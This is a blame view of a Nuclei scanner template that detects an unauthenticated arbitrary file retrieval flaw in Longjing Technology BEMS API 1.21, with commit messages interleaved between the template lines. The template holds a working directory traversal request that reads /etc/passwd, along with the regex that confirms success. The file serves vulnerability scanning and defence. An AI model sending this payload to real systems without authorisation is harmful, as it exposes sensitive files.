daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/vulnerabilities/other/bems-api-lfi.yaml

26 lines
858 B
YAML
Raw Normal View History

Update and rename longjing-technology-bems-api-lfi.yaml to bems-api-lfi.yaml
2021-08-03 14:25:25 +00:00
id: bems-api-lfi
Create longjing-technology-bems-api-lfi.yaml The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-03 12:52:14 +00:00
info:
Dashboard Content Enhancements (#4381) Dashboard Content Enhancements
2022-05-13 20:26:43 +00:00
name: Longjing Technology BEMS API 1.21 - Arbitrary File Retrieval
Create longjing-technology-bems-api-lfi.yaml The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-03 12:52:14 +00:00
author: gy741
severity: high
Dashboard Content Enhancements (#4381) Dashboard Content Enhancements
2022-05-13 20:26:43 +00:00
description: The application suffers from an unauthenticated arbitrary file retrieval vulnerability. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
Update and rename longjing-technology-bems-api-lfi.yaml to bems-api-lfi.yaml
2021-08-03 14:25:25 +00:00
tags: lfi
Create longjing-technology-bems-api-lfi.yaml The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-03 12:52:14 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
Updated "/etc/passwd" regex to avoid possible false positive results.
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
Create longjing-technology-bems-api-lfi.yaml The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-03 12:52:14 +00:00
- type: status
status:
- 200